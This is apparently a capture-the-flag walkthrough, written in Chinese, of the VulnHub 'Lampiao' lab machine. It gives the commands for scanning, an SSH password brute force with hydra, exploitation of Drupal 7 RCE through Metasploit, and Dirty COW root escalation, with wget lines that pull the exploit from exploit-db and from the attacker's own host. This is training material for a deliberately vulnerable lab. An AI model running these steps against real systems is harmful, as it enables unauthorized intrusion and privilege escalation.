VulnHub-Lampiao 靶场渗透测试
时间:2021.2.15
靶场信息:
地址:https://www.vulnhub.com/entry/lampiao-1,249/
发布日期:2018年7月28日
目标:得到root权限&找到flag.txt
一、信息收集
1、获取靶机IP地址
nmap -sP 192.168.137.0/24
由探测的结果可知,靶机的IP为192.168.137.129
2、扫描开放的端口和服务
nmap -sS -sV -T5 -A -p- 192.168.137.129
得到开放的端口信息:
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
80/tcp open http?
1898/tcp open http Apache httpd 2.4.7 ((Ubuntu))
3、网站信息收集
由于开放了80端口,浏览器探测一下靶机是否有相关的应用程序
打开控制台没发现什么有用的信息,然后用工具扫描了一下,还是没发现什么,接着访问1892端口
进去之后,发现这个页面应该会有有价值的东西,尝试点击这两处链接,大致看了一下,发现两处的url比较相似
应该还存在http://192.168.137.129:1898/?q=node/2,访问看看
这个页面暴露了一些资源,audio.m4a和qrc.png,分别打开看看,这里访问audio.m4a的时候,我的火狐不支持,后来用IE浏览器打开成功了,这是一段语音,语音内容为:user tiago,应该是登录的用户名
访问qrc.png,得到一张二维码,这个二维码扫了之后并没有得到有用的信息,由于对网站的目录结构不是很了解,这里用dirb扫描一下
dirb http://192.168.137.129:1898/ -o out
发现robots.txt,打开之后发现暴露了一些敏感路径和文件
访问http://192.168.137.129:1898/CHANGELOG.txt,得到了网站的版本信息,用的是Drupal 7.54
由于之前在语音里面获取了用户名,密码应该是要靠暴力破解了,这里采用cewl和hydra这两个工具
Cewl介绍
使用命令:
cewl http://192.168.137.129:1898/?q=node/1 -w password.txt
在之前的信息收集中,我们发现靶机开放了22号端口,所以可以使用hydra对ssh进行爆破
hydra -l tiago -P password.txt 192.168.137.129 ssh
得到用户名和密码
用户: tiago
密码: Virgulino
然后进行远程登录
尝试sudo su进行提权,发现失败了
二、漏洞探测
根据之前访问http://192.168.137.129:1898/CHANGELOG.txt,得到了网站用的是Drupal 7.54,通过百度搜索一下是否该版本存在漏洞,发现存在RCE
漏洞的具体情况可以查看:
drupal 7.x RCE 漏洞分析
Drupal 7 - CVE-2018-7600 PoC Writeup
这里我们直接使用msf去提权
执行shell获取交互式命令,由于我们获取的shell并不是一个具有完整交互的shell,对于已经安装了python的系统,我们可以使用 python提供的pty模块,只需要一行脚本就可以创建一个原生的终端,命令如下:
python -c 'import pty; pty.spawn("/bin/bash")'
可以得出我们的靶机为 ubuntu14.04.5更新时间为16年-8月-05所以存在脏牛(Dirty Cow)漏洞
三、漏洞利用
脏牛(Dirty Cow)漏洞
漏洞名称:脏牛漏洞(Dirty COW)
漏洞编号:CVE-2016-5195
漏洞概述:
Linux内核的内存子系统的get_user_page内核函数在处理Copy-on-Write(写时拷贝,以下使用COW表示)的过程中,存在条件竞争漏洞,导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞(修改su或者passwd程序就可以达到root的目的)
影响范围:Linux kernel >= 2.6.22(2007年发行,直到2016年10月18日才修复)
漏洞更详细的介绍可以参考:
可以使用wget命令,下载提权exp到靶机:
wget https://www.exploit-db.com/download/40847.cpp
这里我用kali查找相应的提权exp
将exp发送到靶机上
靶机利用wget获取
wget http://192.168.137.150:8888/40847.cpp
c++格式的文件,先编译,编译命令:
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
参数说明:
-Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
-pedantic 允许发出ANSI/ISO C标准所列出的所有警告
-O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
-std=c++11就是用按C++2011标准来编译的
-pthread 在Linux中要用到多线程时,需要链接pthread库
-o dcow gcc生成的目标文件,名字为dcow
四、提权
执行生成的可执行文件
获得了root密码之后,切换为root用户登录,查看flag
总结
再一次扩展了知识面,理解了脏牛(Dirty Cow)漏洞的原理,以及利用